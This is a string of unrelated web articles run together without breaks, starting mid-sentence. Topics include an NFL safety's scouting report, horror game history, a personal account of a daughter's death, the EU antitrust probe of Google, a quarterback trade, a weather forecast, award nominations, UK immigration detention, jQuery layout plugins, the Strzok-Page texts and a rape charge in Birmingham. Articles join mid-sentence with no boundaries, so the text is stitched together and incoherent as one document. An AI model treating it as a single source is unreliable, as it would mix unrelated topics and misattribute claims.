playmaking ability would be a welcome addition for any defense.
The former special teams’ star has shown potential in coverage as well. He provides strong help over the top and has displayed the type of soft hands that are desired out of a team’s free safety. Each of these points is depicted in this play against the Giants:
As well as in this play against the Buccaneers:
Coming out of college, draft pundits lauded Abdul-Quddus for his hip fluidity and change of direction skills. These two attributes help him in both his ability to assist cornerbacks in coverage, as well as in breaking on plays as they develop in front of him:
Overall, Abdul-Quddus is still young at 26 years old and has many of the attributes needed to succeed at his new position.
Negatives:
While Abdul-Quddus has the potential to improve in pass-coverage, due to his professional inexperience, he definitely needs some refinement. For example, he doesn’t always turn his head to locate the ball when it is in the air:
He was flagged for defensive pass interference on this particular play. He is also better when covering a zone rather than in man-to-man. On the play below, Abdul-Quddus is tasked with covering Alshon Jeffery out of the slot:
Abdul-Quddus ultimately gives Jeffery way too large of a cushion. Jeffery takes advantage and is able to easily get to his spot in the end zone. The play resulted in an 11-yard touchdown.
In addition to his faults in coverage, Abdul-Quddus should work on his consistency in tackling. While he is certainly a presence in the run-game, his tendency to search for a big hit can lead him to miss tackles at times.
It should also worry Miami that Abdul-Quddus’ only true success occurred over the course of a half-season. His play suggests that Miami got itself a bargain when it signed him to a three-year contract. However, assuming that his impressive performance will automatically continue as a Dolphin would be misguided.
How He Fits in Miami:
The Dolphins are attempting to address their horrendous pass defense this offseason. That much was obvious when they acquired Byron Maxwell in their trade with the Eagles. Then it was rumored that they were interested in Bengals’ safety George Iloka. However, after it was clear that Iloka was out of their price range, Miami immediately turned their attention to Abdul-Quddus.
Isa Abdul-Quddus should transition seamlessly into Miami’s secondary alongside pro bowl safety Reshad Jones. Jones’ range in coverage may allow Abdul-Quddus to spend more time in the box than the typical free safety would. This is where he will best be able to take advantage of his physicality and versatility.
Perhaps the most intriguing aspect of this addition is his potential relationship with Vance Joseph. Joseph has obviously done a ton of work with defensive backfields throughout his time in the NFL, and former players rave about the effects that he has had on their careers. Miami evidently hopes that the result will be similar with Abdul-Quddus. He will be entering his first season as a full-time starter, and the team needs him to perform at the same level as last season, at least.
The Skinny:
Mike Tannenbaum clearly took a risk by signing Isa Abdul-Quddus to a starter’s contract despite only starting eight games in his career. However, the potential rewards seem to far outweigh the risk. Detroit tried diligently to retain Abdul-Quddus, and the fact that Miami was able to convince him to leave the team that gave him his first real chance speaks to the interest from both sides.
Abdul-Quddus should perform well under Joseph, and his acquisition could be huge for a rebuilding secondary. His abilities complement Jones’ nicely, and his play should be positively affected by the likes of Mario Williams, Cameron Wake and, of course, former teammate Ndamukong Suh.
While the front office had to give Abdul-Quddus a serious payday, they still saved money by dropping out of the race for Iloka. His play called for a raise and, if he plays to the best of his abilities, he will be well worth it. Throughout his experience with football, Abdul-Quddus has been overlooked. In fact, he didn’t even start at Fordham until his junior year. It would hardly be a shock to seem him outperform his expectations once again in Miami. For this reason, it certainly seems like this was a risk well worth taking.Fear is what fuels us
Although fear is an emotion which all humans have there are many of us, gamers or not, that enjoy the feeling of being scared. Fear heightens our senses, it makes us more excited, makes us feel more “human”. Fear of the unknown makes us curious, fear of death keeps us alive. While it’s true that not everybody embraces this emotion, no one can deny that when the lights are off and strange noises surround them, they feel a certain rush. While close to danger or death itself we feel more alive. That is what it means to be human.
So it’s no surprise that scary video games are extremely popular although it must be said that this hasn’t always been the case. Horror games used to be a rare thing, good ones were even rarer. However there are some gems that helped make the genre popular and of course, made us pull up the covers and leave the hall light on.
2D Horror: The birth of fear
It may come as a bit of a surprise that there was such a thing as a 2D horror video game. For a game to be truly scary it needs to build atmosphere. That’s achieved by lighting, sound effects, music and imagery. With the technological limitations of the 80s and early 90s, this was almost impossible to do. However, certain games like 1986’s Uninvited and 1989’s Sweet Home, were able to deliver a scary experience (for the times).
Sweet Home, which was based on the Japanese horror movie of the same name, was very influential for the genre. It used creative storytelling through the use of diary entries and cut-scenes in order to effectively tell the story while creative use of item management and limited healing kept the difficulty and thus, the tension, high.
This game is well known for having inspired Resident Evil, one of the, if not THE most iconic horror game of all time. Despite the limited technology, Sweet Home was able to deliver a genuine horror experience using disturbing imagery and death scenes for characters. This game made use of revolutionary gameplay mechanics at the time such as quick time events, multiple endings and permanent death of player characters.
One of the various death scenes in Sweet Home
Another great tool that famicom-era video games had in order to set the atmosphere was the music. Electronic Arts’ 1989 Project Firestart effectively used dynamically triggered music in order to build tension and help with storytelling. Other features such as cut-scenes, open exploration and limited ammo helped cement this title as one of the best of its generation.
While being heavily inspired by the Ridley Scott’s masterpiece Alien, Project Firestart was able to establish its own unique identity through its creative backstory and the gameplay mechanics it used to tell that backstory, something that was basically unheard of back in 1989.
3D and the golden age of horror games
As technology kept evolving, storytelling techniques in video games improved. Music quality, graphics quality, game length, all of these were features that really improved with the arrival of 3D. Early on though, when the technology was still in its infancy, games had to be simple. The first fully 3D horror game, Doctor Hauzer, was kind of an oddball as far as horror games go in the fact that it didn’t feature any enemies. The antagonist of the game was a sentient house in which the game itself took place in, meaning that the dangers to the player character came in form of various traps and puzzles.
As time went on, game design improved. 3D games as a whole, not only of the horror genre, began to really come into their own and we started seeing features and graphics that at the time were mind blowing. This era saw the release of what are arguably the 2 best and most influential horror games of all time, these being 1996’s smash hit and original survival-horror game Resident Evil and 1999’s incredibly scary Silent Hill.
While similar in style, it’s important to note their different approaches to horror. Resident Evil mixed action with visceral horror, bringing a sometimes eerily scary, sometimes action packed story that had never been seen before in the gaming community.
I remember being 9 years old, playing Resident Evil for the very first time and not being able to get past the first zombie encounter, not due to game difficulty, but because I was scared out of my mind. I had never seen such detailed imagery in a game, Resident Evil being one of the first PS titles I played and the first horror game I was ever exposed to. The cinematic leading up to the encounter was the perfect touch and scared me more than the actual enemy. This has made it one of the scariest moments in video gaming for what it was at the time.
This sentiment was one I shared with many gamers at the time, the entire community was taken by storm and it changed the face of video game horror forever.
The first zombie encounter in Resident Evil haunted me as a kid
Resident Evil successfully blended heart pounding terror with fast paced action to deliver a gaming experience that had never been seen before. Limited ammo and healing items kept the tension high, as sometimes it was better to run and conserve your items for a boss enemy but you knew that at some point you had to go back and face the threats you had left behind. Resident Evil had a lot of backtracking but it would always change things up. You could go through an empty hallway lined with windows to reach a key only to discover that on the way back, zombie dogs would jump through the windows with no warning and scare the pants off you! This made backtracking a genuine original experience as you never knew what had changed.
The hospital, one of the most terrifying sequences in Silent Hill
Silent Hill on the other hand, did away with the action and doubled down on the psychological horror. Instead of visceral horror, it employed disturbing imagery and a deep, well fleshed out story in order to deliver a truly unique experience. In this game, the protagonist awakes in the strange town of Silent Hill with no idea how he got there. To make matters worse his daughter is missing. What follows is a journey into a depraved world of the occult and ancient evils.
Lighting was one of the greatest tools used to create fear in Silent Hill as most of the game is spent either outdoors in an environment covered by very thick fog or indoors with no light besides a small flashlight attached to the player’s chest, making detection of the game’s many enemies difficult and it adds a very real sense of fear as it’s hard to tell where a threat is coming from until it’s right on you.
The commercial for Silent Hill, almost as creepy as the game itself. Almost.
The only thing you have to alert you to a monster’s presence is a small radio that emits static when an enemy is near. Even though it’s designed to help the player, the sudden sound of static growing ever louder as something approaches creates a very genuine feeling of fear and helplessness. It was this feeling of hopelessness that really allowed Silent Hill to move away from being a “scary” game and become a truly horrifying experience.
The advent of HD and the rise of indie horror
In the mid 2000’s, HD gaming was just starting to come into its own. We saw the release of the first true HD consoles in the PlayStation 3 and the Xbox 360, as well as great advances in PC video rendering technology. This, of course, prompted the development and release of many great horror games.
Although the sequels changed the formula quite a bit, the original Dead Space really helped maintain the popularity of the horror genre and helped it find its place in the new millennium with its great graphic quality and fleshed-out story. Like Silent Hill, Dead Space kept lighting and music to a minimum, causing the payer to rely on game sounds and a small light attached to their weapon in order to navigate the massive environment.
Dead Space's protagonist Isaac Clarke being ambushed by a Necromorph
Although very scary and extremely entertaining, Dead Space marked a change in the genre. True horror began to mix with action, much more so than in Resident Evil. This is what I meant when I said the Dead Space sequels changed the formula.
While keeping their horror roots, they really went all out on the action aspect and failed to deliver a true horror experience, which is what many gamers expected. Due to its immense popularity, many developers adopted this action-horror formula and the in the late 2000’s we saw a decline of real horror.
That’s where the indie games come in. Where AAA developers were more preoccupied with making an action game with “scary” visuals, indie developers and fans of the genre began to work on a way to bring back true horror to the gaming scene. One of the “stand out” titles of this time was Amnesia: the Dark Descent by indie developer and horror specialists, Frictional Games.
This title did away with all run-and-gun style of horror games at the time and instead embraced its horror roots and used physics based puzzles to suck the player into a world where fighting monsters was impossible. Instead you had to solve puzzles and attempt to either hide or escape from the game’s many terrifying enemies.
Gameplay of Amnesia: The Dark Descent, one of the best indie horror games of all time
Thanks to the success that Amnesia enjoyed, the horror genre became revitalized and more indie developers, as well as AAA came to embrace real horror again and starting putting out great horror games. Among these are Soma (also by frictional games), Outlast, Slender and The Evil Within just to name a few.
While each approached horror in a different fashion, all of them did their job well in delivering a scary and entertaining product. Most if not all of these games took the Silent Hill approach in that they dealt mostly with psychological horror and kept the mood dark and dreary with the use of low lighting and creepy audio.
However I couldn’t talk about indie horror without at least acknowledging the gaming sensation that has gripped the internet. That being Five Nights at Freddy’s and its sequels. Five Nights at Freddy’s or FNAF for short are a series of games in which the protagonist (a different person in each game) has to survive in a family themed restaurant for 5 nights where haunted animatronics are trying to kill them.
This game uses one of the “cheapest” scare tactics, that being the jump-scare, to deliver its brand of horror. However, FNAF did this right by introducing different factors which the player had to focus all their attention on, so when they failed and were jump-scared the fear was real as it was unexpected and very sudden. The fear of failure then caused the player to become nervous and thus, more prone to make mistakes and get jump-scared. It used a Dark Souls approach to story telling in which very little is revealed openly, most of it coming from easter eggs and secrets.This made it so that people were hooked trying to figure out the sotry while being scared over and over again.
Freddy about to kill the player due to the power running out
In the original FNAF, players assumed the role of a night security guard at a haunted family pizzeria. They had to manage their power consumption throughout the night in order to keep the animatronics out of their office.
If the power ran out all the doors would open and the lights would go off, ensuring the player’s death. Sometimes it was quick, other times it would take longer so you never knew exactly when the attack was coming, adding to the fear factor.
Scary video games have changed a lot over the years and will continue to do so. They’ve come in all shapes and sizes and have dealt with every theme from haunted houses to renegade AIs. New technologies will give birth to new ways of scaring gamers and while we’re seeing a resurgence of “true” horror now, that may change.
We may go back to the action-horror of the mid to late 2000’s or maybe there’s some unknown mix of genres that we have yet to see that works very well. For better or worse, horror games are here to stay and while it’s hard to say what the next great horror title will be or how it will play, one thing is for sure. We won’t be turning off that hallway light anytime soon.The phone rang late Wednesday night near the beginning of the New Year, January 11, 2012. It was Sarangan Sankar, Christy's boyfriend. He was barely intelligible because he was crying so much. He had just been on the phone with the Durham, North Carolina, police who had cordoned off Christy's home. The words he spoke were, "Christy is gone. She was found dead in the house. Christy has passed away."
I was desperate for more information. But Sara was in Philadelphia trying to board a plane for Durham, so I had to let him go. He didn't know any more at that point anyway, and it would have been unkind to press him for details. What did details matter if the fact was certain? Christy was dead.
I hollered to Ann, my wife, who was downstairs in our Lexington, Kentucky, home. Suddenly we were hugging each other for dear life. Ann kept saying, "I knew! In my heart, I knew!"
Since Monday she had been carrying around a premonition that something was wrong. On that day, she listened to a voicemail from Christy's boss at IBM, Paul Haberman, who said Christy had left a message for him saying she wasn't feeling well. Attempts to call her had failed. That wasn't terribly unusual, but worries arise when you know your child is home alone.
Later we learned that Sara had talked to Christy Monday night, and she had seemed fine then. But she did not show up for the weekly Tuesday night board game party that she so enjoyed. By Wednesday, Sara was worried and asked a close friend to break into the house if necessary. James climbed in through a window. He found Christy lying on the floor upstairs and called 911, but he knew she was gone. Sara arrived at midnight, but he wasn't allowed in the house, a potential...
1EC commissioner writes to Google chairman about four areas where the search giant may be abusing its dominance
Google has been given a last chance, and a deadline of "a matter of weeks" by Europe's antitrust chief, to explain how it will end concerns it is abusing its dominant position in search to push its other products, and effectively locking out rival advertisers.
In a significant move, Joaquín Almunia, the European Commission commissioner, has written to Google executive chairman Eric Schmidt warning there are four areas "where Google business practices may be considered as abuses of dominance".
He now wants Google to propose fixes – or else, he warned, the EC will move to a formal investigation which would lead to fines and legally enforceable remedies. Those could amount to billions of pounds, with the EC able to levy up to 10% of the search giant's revenues.
Rivals to Google applauded Almunia's move, saying that whatever it does, its growing control of a number of search-related areas will be reined in. "There are only two outcomes," said one rival, who preferred to remain anonymous. "Either Google takes the easy option, and makes substantial changes, or the EC moves in on it. We now have an endpoint, which is remedies that are binding, and which restore the level playing field."
Google said in response on Monday that it disagreed with the commission's conclusions but that it was happy to discuss the issues further. It controls 86% of the European search market, according to online data tracking service comScore, though other measures put it higher.
Almunia said his letter to Schmidt cited Google's use of its own products in "vertical search" (such as shopping), and its copying of content from competitors such as travel or restaurant guides, which are then provided in search results, as two of his key concerns.
The first, he said, could be preferential treatment that would hurt those rivals; the other could discourage investment that would otherwise benefit internet users.
The two other concerns relate to how Google shuts out rival advertisers when people choose to use its search-related adverts on their own websites, and the lack of portability of advertising campaigns built around Google's Adwords to other search advertising platforms. Google's UK business, which is almost entirely advertising-based, amounted to more than $1.15bn (£727m) in the past quarter, making such portability a key question.
Sources close to Google indicated that Almunia's announcement was the first time he had outlined to it which areas of its business he was concerned about – even though the EC has been carrying out its investigation since November 2010, beginning with a series of letters seeking evidence from a number of Google partners and rivals.
The investigation was sparked by complaints from a tiny British shopping comparison site, Foundem, as well as Microsoft-owned Ciao, the French legal search engine justice.fr, and the German maps company Hotmaps, that their services appeared artificially low on Google's general search results.
Icomp, an internet lobbying group sponsored by Microsoft which has complained about Google's dominance, and whose members include the Premier League, the music licensing organisation PPL, Hotmaps and Foundem, said it welcomed Almunia's statements.
An Icomp lawyer, David Wood, said Almunia "implies that the commission has found that Google's behaviour constituted an abuse of its dominant position in the online search market".
He added that it was vital that any settlement should include measures "to quickly redress the harm caused to European businesses and consumers and are sufficiently robust to ensure that such harm is not repeated".
Almunia said the problems needed to be dealt with quickly because the high-tech industry changes so rapidly. An investigation could drag on for years, by which time such concerns might be obsolete. The EC was criticised in the past for drawn-out battles into Microsoft and Intel, where restorative measures were seen as outdated once introduced.
"Restoring competition swiftly to the benefit of users at an early stage is always preferable to lengthy proceedings," Almunia said.
Google also faces a similar antitrust investigation by the Federal Trade Commission in the US.
Solving the current investigation will not end Google's wrangles with the EC. It has just received the green light from the Chinese authorities to complete its $12.5bn acquisition of Motorola Mobility (MMI), the US handset maker. But MMI is being investigated by Almunia's group over its use of patents that should be freely licensed in lawsuits against Apple – creating a fresh antitrust headache for the company.Getty Images
Patriots coach Bill Belichick said during a conference call on Tuesday that he wouldn’t delve into the details of the conversations that the team had leading up to their decision to trade quarterback Jimmy Garoppolo to the 49ers, but 49ers General Manager John Lynch was willing to share one nugget of information in comments for the team’s website.
While discussing Garoppolo’s relative inexperience, Lynch said that the team has done a lot of homework on Garoppolo’s work in both the preseason and regular season over the last four years and that their desire to add him to the roster didn’t just pop up this week.
“We studied him hard,” Lynch said. “We studied him hard this offseason. We tried to do a deal this offseason. It didn’t come to fruition. It presented itself now and we felt like it was an opportunity we had to jump at.”
Belichick said the Patriots “rode it out as long as we could” with Garoppolo, but that this year’s trade deadline represented the last opportunity to make a move because they weren’t keeping both Garoppolo and Tom Brady.
Lynch also confirmed that the 49ers will be releasing Brian Hoyer and said that the team hasn’t soured on the long-term prospects for C.J. Beathard. Lynch pointed out that Garoppolo’s experience with the Patriots is one that Beathard could take as a reminder that things can work out down the road, although the hope in Santa Clara is that Garoppolo’s the right man for their offense.Clouds: Latest mid-Atlantic infrared satellite shows movement of clouds over past two hours. Refresh page to update. See more maps on our Latest mid-Atlantic infrared satellite shows movement of clouds over past two hours. Refresh page to update. See more maps on our Weather Wall
In a week in which the weather has been virtually flawless, today’s considerable cloud cover, at times, was the lone chip in the armor. These clouds fade tonight into Saturday morning, setting up an indescribably nice autumn weekend.
Through Tonight: Clouds gradually decrease, with skies becoming mostly clear towards morning. Lows range from the cool upper 40s in the cooler suburbs to the mid-to-upper 50s downtown. Light winds from the northeast
The weekend: Maybe a few clouds Saturday and Sunday morning, but – for the most part – mostly sunny and gorgeous. Highs both day should be in the mid-70s with light winds from the east and northeast at 5-10 mph. Mostly clear Saturday night, with lows in the mid-to-upper 40s in the cooler suburbs to the mid-50s downtown.
See Camden Walker’s forecast through early next week. And if you haven’t already, join us on Facebook and follow us on Twitter. For related traffic news, check out Dr. Gridlock.
Tholos lit and flag over the North Wing of the U.S. Capitol indicates Senate in session on early on September 25, 2013. ( Tholos lit and flag over the North Wing of the U.S. Capitol indicates Senate in session on early on September 25, 2013. ( Architect of the Capitol via Flickr
Pollen: Tree counts are LOW-MODERATE (for elm pollen), grasses are LOW, weeds are MODERATE-HIGH (for ragweed pollen), and mold spores are LOW-MODERATE.“Game of Thrones” received two nominations to lead the television nominees for the American Society of Cinematographers’ Outstanding Achievement Awards, which were announced on Wednesday morning by the ASC.
The HBO drama was the only program to receive more than one nomination in the ASC’s three categories, with Jonathan Freeman nominated for the “Valar Dohaeris” episode and Anette Haellmigk for the “Kissed by Fire” episode.
Overall, HBO and Starz led all networks with three nominations each. Showtime had two nominations.
Also read: ‘Game of Thrones’ Gets Turned Into Hilarious Teen Comedy About Struggling Renaissance Fair (Video)
The nominations were oddly distributed, with a super-sized One-hour Episodic Television category consisting of eight nominees, while the Half-hour Episodic Series and Television Movie/Miniseries categories only contained three nominees each.
Among the nominated cinematographers, Freeman received his seventh ASC nomination; he has three previous wins. David Franco (“Boardwalk Empire”) received his sixth nomination. Kramer Morgenthau (“Sleepy Hollow”) received his fifth, Peter Levy (“House of Lies”) his fourth and Pierre Gill (“The Borgias”) his third.
Film nominations will be announced on Jan. 3, and the 28th ASC Awards for Outstanding Achievement in Cinematography will take place on Feb. 1 at the Ray Dolby Ballroom at Hollywood & Highland.
Also read: James Gandolfini Honored by Gotham Independent Film Awards
The nominations:
One-hour Episodic Television Series:
Steven Bernstein, ASC for Starz Network’s Magic City (“The Sins of the Father”)
David Franco for HBO’s Boardwalk Empire (“Erlkönig”)
Jonathan Freeman, ASC for HBO’s Game of Thrones (“Valar Dohaeris”)
Pierre Gill, CSC for Showtime’s The Borgias (“The Purge”)
David Greene, CSC for The CW’s Beauty and the Beast (“Tough Love”)
Anette Haellmigk for HBO’s Game of Thrones (“Kissed by Fire”)
Kramer Morgenthau, ASC for Fox’s Sleepy Hollow (“Pilot”)
Ousama Rawi, BSC, CSC for NBC’s Dracula (“The Blood is the Life”)
Half-hour Episodic Series:
Peter Levy, ACS, ASC for Showtime’s House of Lies (“The Runner Stumbles”)
Matthew J. Lloyd, CSC for Amazon’s Alpha House (“Pilot”)
Blake McClure for Comedy Central’s Drunk History (“Detroit”)
Television Movie/Miniseries:
Jeremy Benning, CSC for National Geographic Channel’s Killing Lincoln
David Luther for Starz Network’s The White Queen (“War at First Hand”)
Ashley Rowe, BSC for Starz Network’s Dancing on the Edge (Episode 1.1)All-party group concludes migrants and asylum seekers should be detained for no longer than 28 days, and only as an ‘absolute last resort’
A cross party-group of MPs has called for an end to the indefinite detention of migrants, warning that too many people are being unnecessarily detained, sometimes for as long as four years, under a system they characterise as “expensive, ineffective and unjust”.
Migrants and asylum seekers should be detained for no longer than 28 days, and only then as an “absolute last resort”, the all-party parliamentary group into the use of immigration detention concluded. In a damning critique of Home Office policy, the panel said that the current lack of a time limit had “significant mental health costs for detainees, as well as considerable financial costs to the taxpayer”.
Members of the panel said they were shocked by some of the testimonies they heard from current and former detainees, some of whom had been held for years, without being told when they were likely to be released. They concluded that current Home Office policy puts the health of detainees at “serious risk”. The UK is the only country in the European Union not to have an upper time limit on detention.
The report described the conditions in which migrants and asylum seekers are held as “tantamount to high security prison settings”. The panel concluded that the “enforcement-focused” culture of the Home Office means that official guidance, which states that detention should be used sparingly and for the shortest possible time, is not being followed, resulting in “too many instances of unnecessary detention”.
Migrant detention: Souleymanye's story Read more
The inquiry, which was launched following a number of scandals over conditions within immigration removal centres, took the highly unusual step of taking calls from current detainees, who were put on speakerphone so that committee members in Westminster could hear them describe conditions inside some of the UK’s detention centres. Some of their testimonies made MPs gasp with horror – among them accounts of suicide attempts, being handcuffed for hospital treatment, and of women detainees being sexually harassed by guards.
The Liberal Democrat MP Sarah Teather, who chaired the inquiry, said: “We detain a lot of people, some for a very long time, all with huge uncertainty, and we have very limited processes for individuals to challenge that detention. We believe the problems that beset our immigration detention estate occur quite simply because we detain for too many people unnecessarily and for far too long.”
The panel’s recommendations are particularly significant because they represent a cross-party perspective on the politicised theme of migration. David Burrowes, Conservative MP and panel member, said: “While there is a need to properly control our borders, people who arrive by fair means or foul must also be treated with dignity and respect throughout the immigration process.
“The current system is failing to sufficiently do this and our report calls for an urgent rethink … Immigration is on the political agenda, but rarely do we unite on a cross-party basis and consider the issue of immigration detention. The lack of a time limit is resulting in people being locked up for months and, in some cases, several years, purely for administrative reasons.”
At the end of 2014, there were 3,462 people in immigration detention centres, 24% higher than at the end of 2013; 397 had been detained for more than 6 months, 108 for longer than a year, and 18 for longer than two years. During 2014, 30,365 entered detention, an increase of 17% since 2010.
Theresa May expects Tory manifesto to include net migration target Read more
The panel expressed concern that individuals detained under immigration powers were “increasingly being held in prison-like conditions”. The biggest immigration removal centres are either converted high-security prisons or have been built to that specification. Detainees should be held in “suitable accommodation that is conducive to an open and relaxed regime”, the report suggests. The panel concluded that “depriving an individual of their liberty for the purposes of immigration detention should be an absolute last resort and only used to effect removal”.
They heard by telephone from a 28-year-old identified only as C, who was trafficked at the age of 16, beaten, raped and tortured en route to the UK, where after some time he was arrested for trying to use a false passport. He told the panel he had been detained for nearly three years. Officials have tried to remove him eight times, but because he comes from a disputed area between Nigeria and Cameroon, his current nationality remains unclear and he has no proof of identity. He has been diagnosed with post-traumatic stress disorder by two doctors, one of whom has written to the Home Office stating that his condition is deteriorating and that he should not be kept in detention.
He is on high doses of antidepressants and told the panel: “Because of the long-time detention and conditions … I don’t really come out of my room because the noise around it makes me think I’m going to go mad.” He said he is on suicide watch. “I tried to use a sheet, my bedding, to stop my breathing.”
The recommendations require a “radical shift in current thinking. They go much further than putting a time limit on detention. They are about a wholesale change in culture,” Teather said. “The UK is an outlier in not having a time limit on detention. During the inquiry, we heard about the huge uncertainty this causes people to live with, not knowing if tomorrow they will be released, removed from the country, or continue being in detention.”
The committee also recommended that:
• pregnant women should never be detained for immigration purposes.
• individuals with a mental health condition should only be detained under very exceptional circumstances.
• screening processes should be improved to ensure that victims of trafficking are not detained.
• women who are victims of rape and sexual violence should not be detained.
• the UK government should look at alternatives to detention, including allowing individuals to live in the community while their cases are considered.
The panel brought together MPs and law lords from across the spectrum, from former Conservative cabinet minister Caroline Spelman to Labour’s Paul Blomfield, as well as the former chief inspector of prisons, Lord Ramsbotham. “What is unusual about the panel is that it brings together people who do not agree on all aspects of reform of the immigration system – some are more hawkish, some are more liberal – but we are united in thinking that the current system is ineffective and inhumane,” Teather said.
The report came as a three-month undercover investigation by Channel 4 news revealed serious instances of sexism and racism among Serco staff running the Yarl’s Wood immigration centre. Guards at the centre were filmed describing various detainees as “black bitch” and “evil”.
At one point a guard was filmed commenting: “They are all slashing their wrists, apparently. Let them slash their wrists... It’s attention seeking.” James Thorburn, managing director of Serco’s home affairs business, said he had not seen the footage, but added: “I would be shocked and angry if anybody we employ was talking about people in our care in a disrespectful or obnoxious manner. We will not tolerate poor conduct or disrespect and will take disciplinary action wherever appropriate.”
Refugee Council chief executive Maurice Wren welcomed the report, saying: “Today a bright light has been shone into the darkest corners of the British immigration system and it has revealed some unpleasant secrets. In the current system, asylum seekers who have done nothing wrong find themselves arbitrarily placed behind bars, on the say-so of Home Office civil servants, for one primary reason: because it’s politically expedient.”
Shami Chakrabarti, director of Liberty, said: “The scandal of limitless detention, unashamedly for administrative convenience, is one of the greatest stains on the UK’s human rights record in recent decades – a colossal and pointless waste of both public funds and human life. We welcome this cross-party report’s recommendation that a statutory time limit must be introduced. Now let’s hope the next government has the courage to act.”Every now and then a web project will come up that has special and unique layout requirements, and the current capabilities of CSS just aren’t enough. With projects such as these, jQuery can be your best friend. So here are 10 jQuery plugins to help you out with page layouts.
The UI.Layout plug-in can create any UI look you want – from simple headers or sidebars, to a complex application with toolbars, menus, help-panels, status bars, sub-forms, etc.
This plugin let’s you build full featured and fully skinnable containers. The container can be set to draggable, resizable, collapsable and minimizable.
The project aims at providing web designers with a way to use the W3’s CSS Template Layout Module today. As a jQuery plug-in, the script parses a given set of CSS rules and displays the content as indicated in the specification. Options include the ability to select the CSS parsed, as well as an optional prefix to use for the CSS rules. Specifying a prefix allows style rules that are interoperable with a possible future browser implementations.
Masonry is a layout plugin for jQuery. Think of it as the flip side of CSS floats. Whereas floating arranges elements horizontally then vertically, Masonry arranges elements vertically then horizontally according to a grid. The result minimizes vertical gaps between elements of varying height, just like a mason fitting stones in a wall.
Columnizer will automatically layout your content in newspaper column format. You can specify either column width or a static number of columns.
jQSlickWrap forces text to wrap around the contents of an image, not just its bounding box as it does when you use a float with CSS.
Equal Heights loops through the top-level child nodes of a specified element and sets their min-height values to that of the tallest.
js-columns is designed to help with the creation of newspaper-style column layouts in HTML. While CSS3 has a variety of column-style properties, these are not yet widely implemented, and none help with the creation of page-based layouts.
jQuery Columnize allows you to create a newspaper-like column layout.
jLayout provides four layout algorithms for laying out HTML elements in web pages |
power. The story du jour is that, following a fallow period for offense, MLB fiddled with the baseballs to help them fly farther; “Are Juiced Balls the New Steroids?” a recent FiveThirtyEight article asked. A parallel theory holds that players are using the new analytics at their disposal, varying launch angles to loft pitches in the air. Each explanation makes room for an eventual reversion to historic norms. The equipment could return to old standards, and those uppercutting batters might overdo it.CBS News has obtained the text messages that former Special Counsel investigator Peter Strzok sent to his colleague Lisa Page, a senior FBI lawyer who was also working on the Mueller team at the time, Paula Reid reports. Here are some of the texts they exchanged over the course of the 2016 presidential campaign, while Strzok was a top official in the counterintelligence division:
In August 2015, Page wrote to Strzok, "I just saw my first Bernie Sander [SIC] bumper sticker. Made me want to key the car." Strzok replied, "He's an idiot like Trump. Figure they cancel each other out."
Strzok wonders in March 2016 whether Mr. Trump would "be a worse president than (Ted) Cruz?" Page responds, "Trump? Yes, I think so." Strzok then says Mr. Trump is "awful" and "an idiot." In early March, on Super Tuesday, Donald Trump had won seven states, compared to Ted Cruz's three, and it was clear by this point that he was the frontrunner for the Republican nomination.
Also in March, Page seems to be concerned about whether the things they say about Mr. Trump can be found out. "So look, you say we can text on that phone when we talk about Hillary because it cant be traced," she wrote.
In July 2016, the two mock the Trump campaign and Republicans over their convention guests and speakers, including a Duck Dynasty star and Scott Baio. Strzok writes to Page, "Its PATHETIC!"
Beyond the name-calling, the two also expressed their strong distaste for the Republican nominee in longer messages.
"HE [Trump] appears to have no ability to experience reverence which I [SIC] the foundation for any capacity to admire or serve anything bigger than self to want to learn about anything beyond self, to want to know and deeply honor the people around you," Strzok lamented. Page wrote back, "He's not ever going to become president, right? Right?"
Anti-Trump texts from ousted FBI agent released
On Election Day, Strzok expressed his dismay at seeing a map showing Mr. Trump winning -- he called it "f*****g terrifying," and a week after the election, Strzok and Page were also alarmed to see that Jeff Sessions was likely to be named attorney general.
"Sessions for AG," Strzok texted, along with a profanity. Page replied, "Good god."
During the campaign, Strzok led the investigation into Hillary Clinton's use of a private server while she was secretary of state. The texts sent between Page and Strzok are dated between August 2015 and December 2016, the duration of the campaign. They raise concerns about Strzok's impartiality and will likely prompt more questions about the investigation into Clinton's server.
Strzok was dismissed from Special Counsel Robert Mueller's team in August, after he was suspected of sending the politically sensitive text messages. Strzok now works in the FBI's human resources department. Lisa Page, the other FBI agent involved in the text communications, had been working at the special counsel's office. But she had completed her detail there before the office became aware of the allegations. The special counsel's office declined to comment on the texts.
Page's and Strzok's apparent political sympathies extended to Congress, too. They also wrote messages disparaging House Speaker Paul Ryan, with Page expressing the hope that Ryan "fails and crashes in a blaze of glory" and Strzok responding that the GOP "needs to pull their head out of that *ss. Shows no sign of occurring any time soon."Witton railway station, where the first incident is alleged to have happened (Picture: Google)
A second man has been charged with rape after a teenager was allegedly attacked twice in the same night.
The girl, 14, was allegedly raped at Birmingham’s Witton railway station, then raped again by a driver she flagged down to help her around 2am on July 26.
Mohammed Ismaeel, 22, was arrested in August in connection with the second incident.
Today police said he had been charged with rape.
Pair'murdered missing woman and claimed her benefits'
British Transport Police said Ismaeel, of Deykin Avenue, Birmingham, will appear at Birmingham Magistrates’ Court on November 15.
Another man, Khurram Rahi, 27, of Rosefield Road, Smethwick, West Midlands, appeared in court at the end of July charged with rape.
Mohammed Ismaeel will appear at Birmingham Magistrates Court on November 15 (Picture: REX/Shutterstock)
This charge was in connection with the first sexual assault and Rahi indicated a not guilty plea.
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Detective Chief Inspector Tony Fitzpatrick, from British Transport Police, said: ‘Since both these awful incidents in July, we’ve been working hard to piece together exactly what happened.
Lonely paedophile is allowed to befriend fellow sex offender because he feels isolated’We are now in a position to charge a man in connection to the incident in the vehicle which happened after the first rape.’
Meanwhile, police have appealed for a man who stopped to help the victim and gave her a lift home.
DCI Fitzpatrick added: ‘We are still looking to trace the Good Samaritan who came to the help of the victim shortly after the second rape.
‘Seeing the 14-year-old in a distressed state, he drove her home to her family.
‘He is described as a white man, approximately 30 to 40 years old, slim with facial stubble.
‘He was wearing a red and black chequered short sleeve shirt with no collar, spoke with a Birmingham accent and drove a seven-seater family car.
‘The victim remembers that the car had a lot of air fresheners hanging from the rear view mirror.
‘If you are that man, or know someone matching that description, please get in touch as soon as possible.
‘You could help us understand what happened.’
Anyone with any information can contact BTP by sending a text to 61016 or by calling 0800 40 50 40 quoting reference 236 of 26/10/2017.
MORE: Woman pulled over by police for wearing jeans
MORE: Noble pit bull who was abandoned for only having half a nose has finally been adoptedFor so long the Taedong Diplo – Pyongyang's only nightclub – owned just one CD. Then DJ Ian Steadman turned up with a box full of Hot Chip and Talking Heads records and things got messy
